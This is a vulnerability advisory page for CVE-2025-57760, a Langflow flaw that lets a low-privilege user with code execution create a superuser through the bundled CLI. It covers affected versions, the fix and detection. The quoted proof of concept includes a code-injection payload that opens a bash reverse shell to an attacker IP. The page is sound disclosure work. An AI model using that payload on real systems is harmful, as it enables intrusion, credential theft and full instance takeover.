NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Langflow

CVE-2025-57760: Langflow Vulnerable to Privilege Escalation via CLI Superuser Creation (Post-RCE)

highCVSS 3.1 8.8GHSA-4gv9-mp8m-592r

In Langflow 1.5.0 and earlier, a signed-in non-admin user who gets code execution in the container can run the bundled `langflow superuser` CLI command to create an administrator. The command did not check for an existing superuser or any credential. This turns a low-privilege RCE into full takeover of the instance. Fixed in langflow 1.5.1 and langflow-base 0.5.1.

Published Aug 25, 2025 · Updated Dec 18, 2025 · Analysis Nov 1, 2026

What an attacker can do

The Docker image ships a CLI at /app/.venv/bin/langflow whose superuser command creates a new superuser. It never checked whether one already existed, and it asked for no proof of authority.

The advisory chains it with code execution. A user who registered through the UI as a regular account (with LANGFLOW_ENABLE_AUTH set to True) posts Python to the authenticated /api/v1/validate/code endpoint, for example a default argument that calls os.system to open a reverse shell. From inside the container, they run /app/.venv/bin/langflow superuser, then log in to the UI as the new administrator.

A superuser sees all users' data, flows, stored credentials and configuration. They can extract third-party API keys, read container environment variables, delete users and reset passwords. They can also start more Langflow instances with langflow run, which can exhaust CPU and memory. The attacker needs a valid low-privilege account and a way to run code, which the advisory shows exists.

Who is affected

langflow 1.5.0 and earlier, and langflow-base 0.5.0 and earlier. The advisory describes the Docker image with the CLI at /app/.venv/bin/langflow. Check:

pip show langflow langflow-base

For containers, run the same command inside the container, or check the image tag. Instances where untrusted users can register are at the most risk.

langflow

Ecosystem
PyPI
Affected
<= 1.5.0
Fixed in
1.5.1
Check
pip show langflow

langflow-base

Ecosystem
PyPI
Affected
<= 0.5.0
Fixed in
0.5.1
Check
pip show langflow-base

How to fix it

Upgrade to langflow 1.5.1 and langflow-base 0.5.1:

pip install --upgrade langflow

PR #9152 reworks the superuser command. A new ENABLE_SUPERUSER_CLI setting lets operators turn the CLI creation off. When auto-login is off, the command now needs credentials and an auth_token that belongs to an existing superuser, and creation attempts are audit-logged. Auto-login behavior is kept, and SECURITY.md gained a section on recommended production settings. Disable ENABLE_SUPERUSER_CLI in production. Note that the separate code-execution path through /api/v1/validate/code is not what this fix addresses.

How to tell if you were hit

In the Langflow user table, look for superuser accounts you did not create, and check their creation time. Search for audit log entries about superuser creation attempts in patched versions. Check container logs and process history for langflow superuser and for reverse shell activity following requests to /api/v1/validate/code. Check also for stray langflow run processes inside the container and for password resets you did not request.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

This vulnerability was discovered by researchers at Check Point. We are sharing this report as part of a responsible disclosure process and are happy to assist in validation and remediation if needed.

Summary

A privilege escalation vulnerability exists in Langflow containers where an authenticated user with RCE access can invoke the internal CLI command langflow superuser to create a new administrative user. This results in full superuser access, even if the user initially registered through the UI as a regular (non-admin) account.

Details

Langflow's Docker image includes a CLI binary at /app/.venv/bin/langflow that exposes sensitive commands, including:

langflow superuser

This command allows creation of a new superuser without checking whether one already exists.

When combined with code execution (e.g., via the authenticated /api/v1/validate/code endpoint), a low-privileged user can execute:

/app/.venv/bin/langflow superuser

inside the container, and elevate themselves to full superuser privileges.

This effectively bypasses frontend role enforcement and backend user integrity, leading to full compromise of the Langflow application.

PoC

  1. Start container with LANGFLOW_ENABLE_AUTH set to True.
  2. Visit http://localhost:7860 and sign up. (Your user will not be marked is_superuser.)
  1. Exploit /api/v1/validate/code to get reverse shell

Send an authenticated POST request:

{
  "code": "def foo(p=__import__('os').system(\"bash -c 'bash -i >& /dev/tcp/192.168.1.22/4444 0>&1'\")):\n    pass"
}
  1. Inside reverse shell, create superuser:
  1. Log into UI as new superuser:

Impact

  • Privilege escalation to superuser — complete takeover of the Langflow instance
  • Access to all user data, flows, stored credentials, and configuration
  • Credential leakage — attacker can extract third-party API keys
  • Exposure of environment variables (inside docker container)
  • Ability to run additional Langflow instances via langflow run inside the container, which may lead to resource exhaustion (CPU, memory) and service degradation.
  • Full user management — superuser can delete other users, reset their passwords

Credited to chaandrey, jinglim.

Questions

Does this need existing code execution?

Yes. The advisory titles it post-RCE. The attacker first runs code in the container, for example through the authenticated /api/v1/validate/code endpoint, then calls the CLI.

Which versions fix CVE-2025-57760?

langflow 1.5.1 and langflow-base 0.5.1. The vulnerable ranges are up to 1.5.0 and up to 0.5.0.

Can I turn off superuser creation from the CLI?

In fixed versions, yes: PR #9152 adds an ENABLE_SUPERUSER_CLI setting that makes the command exit when disabled.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Langflow vulnerabilities

All Langflow entries